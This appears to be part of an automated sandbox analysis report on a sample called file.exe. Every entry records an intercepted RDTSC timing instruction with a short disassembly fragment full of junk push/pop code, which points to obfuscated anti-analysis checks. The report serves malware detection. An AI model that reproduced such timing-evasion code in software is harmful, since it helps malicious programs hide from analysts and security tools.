Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C21 second address: BD0C32 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C32 second address: BD0C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C4D second address: BD0C72 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33593F05B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov di, B1D1h 0x0000000f lea ebx, dword ptr [ebp+12452A58h] 0x00000015 xor cx, 2065h 0x0000001a mov ch, al 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C72 second address: BD0C76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C76 second address: BD0C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C7C second address: BD0C82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C82 second address: BD0C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0C86 second address: BD0CA4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33593F59C3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0D28 second address: BD0D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0D2C second address: BD0D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0D35 second address: BD0D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jmp 00007F33593F05BBh 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0D4B second address: BD0D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0D51 second address: BD0D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0E1F second address: BD0E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jne 00007F33593F59B6h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F33593F59B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0E38 second address: BD0E92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F33593F05C7h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push esi 0x00000011 jng 00007F33593F05BCh 0x00000017 pop esi 0x00000018 pop eax 0x00000019 call 00007F33593F05C0h 0x0000001e mov dword ptr [ebp+122D1CA9h], ebx 0x00000024 pop edx 0x00000025 lea ebx, dword ptr [ebp+12452A61h] 0x0000002b mov ecx, dword ptr [ebp+122D1AEEh] 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 push edx 0x00000036 pop edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0F06 second address: BD0F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F33593F59B8h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007F33593F59BEh 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0F29 second address: BD0F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1B63h], edi 0x00000010 movsx edx, dx 0x00000013 push 00000000h 0x00000015 jng 00007F33593F05B6h 0x0000001b call 00007F33593F05B9h 0x00000020 push ebx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0F60 second address: BD0FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F33593F59BFh 0x0000000d jp 00007F33593F59C0h 0x00000013 popad 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007F33593F59C5h 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jl 00007F33593F59B8h 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0FB0 second address: BD0FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD0FB4 second address: BD1026 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F33593F59C7h 0x00000010 pop eax 0x00000011 mov ecx, dword ptr [ebp+122D34AEh] 0x00000017 push 00000003h 0x00000019 js 00007F33593F59BCh 0x0000001f mov esi, dword ptr [ebp+122D2BACh] 0x00000025 jmp 00007F33593F59C6h 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D359Bh], ebx 0x00000032 push 00000003h 0x00000034 add ch, 0000005Eh 0x00000037 push D917DA0Eh 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F33593F59C1h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD1026 second address: BD102C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD102C second address: BD1030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF2292 second address: BF2297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0412 second address: BF0437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jg 00007F33593F59B6h 0x0000000b jmp 00007F33593F59C9h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0437 second address: BF0471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33593F05C0h 0x00000008 jmp 00007F33593F05BAh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F33593F05BCh 0x00000018 jmp 00007F33593F05BCh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF08B5 second address: BF08D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33593F59C3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF08D0 second address: BF08D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF08D4 second address: BF08E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33593F59B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF09EE second address: BF0A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F33593F05C1h 0x0000000a je 00007F33593F05B8h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F33593F05B6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0D3E second address: BF0D46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1049 second address: BF104D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF104D second address: BF1088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F33593F59BEh 0x0000000e jns 00007F33593F59CFh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1088 second address: BF108E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF108E second address: BF10AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33593F59C9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF10AE second address: BF10C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1388 second address: BF138C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF138C second address: BF1390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1390 second address: BF13A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a js 00007F33593F59B6h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF13A1 second address: BF13AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F33593F05B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1BB0 second address: BF1BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1EB4 second address: BF1EBE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF1EBE second address: BF1EC5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF3F7A second address: BF3F7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF3F7E second address: BF3F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF3F8C second address: BF3F9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF50E3 second address: BF511C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33593F59B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jmp 00007F33593F59BDh 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F33593F59BBh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007F33593F59B6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFDFEC second address: BFDFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8392 second address: BB8398 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8398 second address: BB83B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33593F05C6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD386 second address: BFD38A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD4CB second address: BFD506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F33593F05C8h 0x0000000d jmp 00007F33593F05C9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD506 second address: BFD51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F33593F59BCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD51B second address: BFD550 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33593F05B6h 0x00000008 jmp 00007F33593F05BDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F33593F05BCh 0x00000014 popad 0x00000015 pushad 0x00000016 jp 00007F33593F05B8h 0x0000001c push eax 0x0000001d push edx 0x0000001e jnp 00007F33593F05B6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD6AD second address: BFD6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c jnp 00007F33593F59B6h 0x00000012 jp 00007F33593F59B6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD824 second address: BFD832 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD832 second address: BFD836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD836 second address: BFD853 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33593F05C3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD853 second address: BFD85D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F33593F59B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFDB9B second address: BFDBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFDBA1 second address: BFDBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFDBA9 second address: BFDBD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F33593F05BDh 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jns 00007F33593F05B6h 0x00000018 pop edx 0x00000019 jmp 00007F33593F05BEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0145A second address: C01460 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01460 second address: C014A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F33593F05C8h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jl 00007F33593F05B8h 0x0000001a jnl 00007F33593F05B8h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push ecx 0x00000027 jns 00007F33593F05B6h 0x0000002d pop ecx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01990 second address: C01995 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0201F second address: C0203E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F05C7h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0203E second address: C0205A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F33593F59B6h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp], ebx 0x0000000f mov esi, edi 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F33593F59B8h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02207 second address: C02227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F05C4h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02227 second address: C0222D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0240C second address: C02427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0362F second address: C03689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F33593F59B6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D18EBh], esi 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 pop esi 0x00000019 push 00000000h 0x0000001b jmp 00007F33593F59C2h 0x00000020 mov esi, dword ptr [ebp+1244CDACh] 0x00000026 xchg eax, ebx 0x00000027 push ebx 0x00000028 jp 00007F33593F59C5h 0x0000002e pop ebx 0x0000002f push eax 0x00000030 ja 00007F33593F59C8h 0x00000036 push eax 0x00000037 push edx 0x00000038 jg 00007F33593F59B6h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C03689 second address: C0368D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C048C9 second address: C048CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C048CF second address: C048E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F33593F05B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05EAB second address: C05EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F33593F59B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05B6F second address: C05B88 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d jbe 00007F33593F05B8h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C05B88 second address: C05B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0803F second address: C08043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08043 second address: C08050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08862 second address: C08869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C095B4 second address: C095B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09380 second address: C0938E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C095B8 second address: C095C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0938E second address: C09394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C095C2 second address: C095EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F33593F59C8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C095EA second address: C095F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0E401 second address: C0E407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D4DF second address: C0D4E9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1036C second address: C10370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0F50A second address: C0F521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
